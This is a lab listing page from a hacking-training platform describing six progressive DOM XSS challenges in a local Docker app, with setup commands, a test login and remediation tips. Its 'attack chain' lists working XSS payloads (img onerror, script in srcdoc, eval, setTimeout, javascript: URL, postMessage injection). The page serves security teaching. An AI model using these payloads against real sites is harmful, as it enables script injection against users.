BBLABSBBLABS
LaboratoriosAprender desde 0FuncionesPreciosTestimoniosDetrás de BBLABS
  1. Home
  2. Labs
  3. 6 Progressive DOM XSS Challenges
Medium30 min

6 Progressive DOM XSS Challenges

By @gorka

Red social con 6 desafios progresivos de DOM XSS: desde location.hash + innerHTML hasta postMessage + innerHTML, pasando por eval, setTimeout y location.href.

This hack was reported with no reward

1.1K views43 completedUpdated Nov 2026
Log in to start

Learn to find this bug

A real hack, reproduced for you to practice.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

650

hunters training

50

labs from real hacks

380

completions

$12,000

paid out for these bugs

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hackers who solved it· 8

JM1
@overtone10 days ago
lydiel2
@lydiel21 days ago
espejoramirezhugo3
@espejoramirezhugo24 days ago
zuk4r1
@zuk4r129 days ago
gh0stn4m3sec
@gh0stn4m3secSep 2026
sharat chandra
@sharat chandraSep 2026
jose.medac
@jose.medacSep 2026
emperador
@emperadorSep 2026

Objectives

1
Completar 6 niveles de DOM XSS progresivos
2
Nivel 1: location.hash → innerHTML
3
Nivel 2: URLSearchParams → srcdoc
4
Nivel 3: query → eval()
5
Nivel 4: query → setTimeout()
6
Nivel 5: query → location.href
7
Nivel 6: postMessage → innerHTML

Information

Difficulty
Medium
Duration
30 min
Bounty
Sin recompensa
Completed
43
Creator
gorka@gorka
Updated
Nov 2026

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

Navegador Dev Tools

Prerequisites

  • DOM XSS basico
  • Diferentes sources y sinks
  • postMessage API

Tags

XSS

Achievement you'll earn

Solve this lab to unlock this shareable achievement

Solve this lab to unlock this shareable achievement

Community writeups

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Credenciales

Usuario Contrasena Rol
alice password123 user

Despliegue

# Opcion 1: autodeploy
./autodeploy.sh

# Opcion 2: manual
docker compose up --build

# Acceder
http://localhost:1000

Compatible con macOS, Linux y Windows (Docker Desktop / WSL).

Para parar:

./autodeploy.sh destroy
# o: docker compose down -v

Contenido del Lab

La aplicacion

Chirp con 6 niveles de DOM XSS progresivos.

La vulnerabilidad

Cada nivel usa un source y sink diferente para inyectar XSS en el DOM del cliente sin pasar por el servidor.

Cadena de ataque

Nivel 1: #<img src=x onerror=alert(1)>
Nivel 2: ?data=<script>alert(1)</script> (srcdoc)
Nivel 3: ?expr=alert(1) (eval)\nNivel 4: ?delay=alert(1) (setTimeout)
Nivel 5: ?url=javascript:alert(1) (location)
Nivel 6: postMessage({html:'<img src=x onerror=alert(1)>'})

Solucion interactiva

Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.


Flag

(alert ejecutado en cada nivel)

Remediacion

  1. Nunca usar innerHTML con datos no confiables
  2. Evitar eval/setTimeout con strings
  3. Validar origenes en postMessage handlers
  4. Usar frameworks que escapan por defecto (React JSX)

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.

BBLABS LogoBBLABS

Laboratorios de hacking basados en hackeos reales. Aprende practicando sobre entornos vulnerables, con la resolución explicada paso a paso.

Producto

  • Funcionalidades
  • Precios
  • Labs
  • Aprender desde 0
  • Blog
  • Detrás de BBLABS

Legal

  • Términos
  • Privacidad
  • Cookies
  • Entrar
  • Crear cuenta

Para cualquier duda, bug, soporte o sugerencia puedes escribir a team@bblabs.es

© 2026 BBLABS. Todos los derechos reservados.